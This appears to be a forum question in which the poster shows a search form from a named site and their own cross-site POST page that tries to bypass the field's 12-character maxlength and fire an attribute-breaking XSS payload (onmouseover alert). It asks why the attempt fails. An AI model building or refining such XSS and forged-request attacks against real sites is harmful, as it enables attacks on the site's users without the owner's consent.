I have input box with maxlength 12 , and that input box is vulnerable to xss , but because of maxlength 12 it is not possible to construct any really valid xss vector. User input is located in value="user input" , and when user intercepts post request with burpproxy , he can change post parameters and cause xss. Now my question is it is possible to make post request from other site , and bypass maxlength element.I've tried something but , when I load page it takes me to page where input box is located and it cuts out everything beyond >12 length.
Can that post request be forged and maxlength bypassed and xss fired.
Thanks
This is form search on page with maxlength :
<form name="usersearch" method="post" action="usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch" ><label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="12" value="maxa">" id="loginname" name="loginname">
<input
class="button_ok"
name="btnSubmit"
id="btnSubmit"
type="submit"
value="OK"
onclick=""
>
</form>
This is my try to exploit it from my page:
<html>
<body>
<h1>Test</h1>
<form name="usersearch" method="post" action="http://www.site.rs/usersearch.php">
<input type="checkbox" value="1" id="partmatch" name="partmatch" ><label for="partmatch">Potraži deo (unesi najmanje 4 znaka)</label>
<input class="inputbox" type="text" maxlength="500" value="xss"onmouseover="alert(0)" id="loginname" name="loginname">
<input
class="button_ok"
name="btnSubmit"
id="btnSubmit"
type="submit"
value="OK"
onclick=""
>
</form>
</body>
</html>
What am I doing wrong?When I click exploit page button it just sends me bach to main page and input is cutoff to 12 chars.